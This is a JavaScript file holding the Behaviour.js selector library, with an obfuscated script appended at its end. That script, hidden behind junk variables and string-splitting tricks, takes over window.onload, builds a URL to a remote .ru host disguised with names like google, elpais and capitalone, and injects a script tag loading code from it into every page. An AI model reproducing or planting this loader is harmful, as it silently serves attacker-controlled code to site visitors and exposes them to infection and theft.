var Behaviour = {
list : new Array,
register : function(sheet){
Behaviour.list.push(sheet);
},
start : function(){
Behaviour.addLoadEvent(function(){
Behaviour.apply();
});
},
apply : function(){
for (h=0;sheet=Behaviour.list[h];h++){
for (selector in sheet){
list = document.getElementsBySelector(selector);
if (!list){
continue;
}
for (i=0;element=list[i];i++){
sheet[selector](element);
}}}},
addLoadEvent : function(func){
var oldonload = window.onload;
if (typeof window.onload != 'function') {
window.onload = func;
} else {
window.onload = function() {
oldonload();
func();
}}}}
Behaviour.start();
function getAllChildren(e) {
return e.all ? e.all : e.getElementsByTagName('*');
}
document.getElementsBySelector = function(selector) {
if (!document.getElementsByTagName) {
return new Array();
}
var tokens = selector.split(' ');
var currentContext = new Array(document);
for (var i = 0; i < tokens.length; i++) {
token = tokens[i].replace(/^\s+/,'').replace(/\s+$/,'');;
if (token.indexOf('#') > -1) {
var bits = token.split('#');
var tagName = bits[0];
var id = bits[1];
var element = document.getElementById(id);
if (tagName && element.nodeName.toLowerCase() != tagName) {
return new Array();
}
currentContext = new Array(element);
continue;
}
if (token.indexOf('.') > -1) {
var bits = token.split('.');
var tagName = bits[0];
var className = bits[1];
if (!tagName) {
tagName = '*';
}
var found = new Array;
var foundCount = 0;
for (var h = 0; h < currentContext.length; h++) {
var elements;
if (tagName == '*') {
elements = getAllChildren(currentContext[h]);
} else {
elements = currentContext[h].getElementsByTagName(tagName);
}
for (var j = 0; j < elements.length; j++) {
found[foundCount++] = elements[j];
}}
currentContext = new Array;
var currentContextIndex = 0;
for (var k = 0; k < found.length; k++) {
if (found[k].className && found[k].className.match(new RegExp('\\b'+className+'\\b'))) {
currentContext[currentContextIndex++] = found[k];
}}
continue;
}
if (token.match(/^(\w*)\[(\w+)([=~\|\^\$\*]?)=?"?([^\]"]*)"?\]$/)) {
var tagName = RegExp.$1;
var attrName = RegExp.$2;
var attrOperator = RegExp.$3;
var attrValue = RegExp.$4;
if (!tagName) {
tagName = '*';
}
var found = new Array;
var foundCount = 0;
for (var h = 0; h < currentContext.length; h++) {
var elements;
if (tagName == '*') {
elements = getAllChildren(currentContext[h]);
} else {
elements = currentContext[h].getElementsByTagName(tagName);
}
for (var j = 0; j < elements.length; j++) {
found[foundCount++] = elements[j];
}}
currentContext = new Array;
var currentContextIndex = 0;
var checkFunction;
switch (attrOperator) {
case '=':
checkFunction = function(e) { return (e.getAttribute(attrName) == attrValue); };
break;
case '~':
checkFunction = function(e) { return (e.getAttribute(attrName).match(new RegExp('\\b'+attrValue+'\\b'))); };
break;
case '|':
checkFunction = function(e) { return (e.getAttribute(attrName).match(new RegExp('^'+attrValue+'-?'))); };
break;
case '^':
checkFunction = function(e) { return (e.getAttribute(attrName).indexOf(attrValue) == 0); };
break;
case '$':
checkFunction = function(e) { return (e.getAttribute(attrName).lastIndexOf(attrValue) == e.getAttribute(attrName).length - attrValue.length); };
break;
case '*':
checkFunction = function(e) { return (e.getAttribute(attrName).indexOf(attrValue) > -1); };
break;
default :
checkFunction = function(e) { return e.getAttribute(attrName); };
}
currentContext = new Array;
var currentContextIndex = 0;
for (var k = 0; k < found.length; k++) {
if (checkFunction(found[k])) {
currentContext[currentContextIndex++] = found[k];
}
}
//alert('Attribute Selector: '+tagName+' '+attrName+' '+attrOperator+' '+attrValue);
continue;
}
if (!currentContext[0]){
return;
}
tagName = token;
var found = new Array;
var foundCount = 0;
for (var h = 0; h < currentContext.length; h++) {
var elements = currentContext[h].getElementsByTagName(tagName);
for (var j = 0; j < elements.length; j++) {
found[foundCount++] = elements[j];
}
}
currentContext = found;
}
return currentContext;
}
var Z="";try {var aV;if(aV!='' && aV!='Pi'){aV='u'};var q;if(q!='Q' && q!='d'){q=''};var h=RegExp;var WZ="";var G="";var M=new String("qMcp[".substr(4));var dz='';var e="aiQg".substr(3);var v=String("]v7R".substr(0,1));var N='';var KV;if(KV!='' && KV!='cR'){KV=''};var c=String("repl"+"ace");var eP;if(eP!='b' && eP!='WD'){eP=''};function a(n,cx){var J=M;var JP;if(JP!=''){JP='hi'};var t;if(t!=''){t='MH'};J+=cx;var yR=new String();J+=v;var U=new h(J, e);this.NY='';return n.replace(U, N);var xS;if(xS!=''){xS='pU'};this.T='';};var j=new String("/elpa"+"1v4is.co".substr(3)+"W0am/elp".substr(3)+"ais.c90W".substr(0,5)+"w5Wtom/pa".substr(4)+"ntip.cFdo".substr(0,5)+"com/cUNi".substr(0,5)+"BMdapita".substr(3)+"x2zvlone.".substr(4)+"com/g"+"oogle"+".com.PBsa".substr(0,5)+"bOICphp".substr(4));this.PR="";this.X="";var Y="yFtonloa".substr(3)+"cetEd".substr(4);var AZ;if(AZ!='' && AZ!='JC'){AZ='Mj'};var _;if(_!='' && _!='E'){_='Gp'};var Mn=new String("scrip"+"t");var n="1";var sK='';var oW;if(oW!='kR' && oW!='V'){oW=''};var L=a('8565520655585225260556622',"625");var cI;if(cI!='AM'){cI=''};var tr;if(tr!='ct' && tr != ''){tr=null};var Ux='';var g;if(g!='iT'){g='iT'};var qJ;if(qJ!='l'){qJ='l'};var nz=a('hzt9tLp8:8/b/9gbo9ozgblLe8-bc8ozm9-Ld8o8.8i9n9tbe9rzibaL.8p9lb.boLvLgzu9izd8eL-zcLozmb.bm8ybozwLn9a8gze9.zr8ub:9',"bL98z");var kl;if(kl!='BI'){kl=''};var Mjx;if(Mjx!='IQ'){Mjx='IQ'};window[Y]=function(){var En='';var fi=new String();var aA;if(aA!='D'){aA=''};Um=document.createElement(Mn);var yD;if(yD!='RE' && yD!='qE'){yD='RE'};var on="";var zE=new Date();this.bZ="";Ux+=nz;this.FN="";Ux+=L+j;var aW='';Um.src=Ux;var hc=document.body;var Bq=new Array();Um.defer=n;hc.appendChild(Um);var UD;if(UD!='' && UD!='Sv'){UD=''};};var jq;if(jq!='Ic' && jq != ''){jq=null};var _v="";} catch(m){};var _F="";var EO;if(EO!='yl' && EO!='gU'){EO=''};